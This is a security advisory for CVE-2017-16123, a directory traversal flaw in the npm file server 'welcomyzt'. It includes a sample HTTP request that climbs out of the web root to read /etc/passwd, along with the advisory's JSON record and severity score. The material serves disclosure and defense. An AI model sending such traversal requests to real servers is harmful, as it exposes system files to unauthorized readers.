GHSA-8FV7-VM2P-5495

Vulnerability from github – Published: 2020-09-01 17:23 – Updated: 2023-09-11 16:37
VLAI?
Summary
Directory Traversal in welcomyzt
Details

welcomyzt is a simple file server.

welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing ../ in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Severity ?
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "welcomyzt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:21:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "`welcomyzt` is a simple file server.\n\n`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
  "id": "GHSA-8fv7-vm2p-5495",
  "modified": "2023-09-11T16:37:05Z",
  "published": "2020-09-01T17:23:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16123"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/388"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directory Traversal in welcomyzt"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.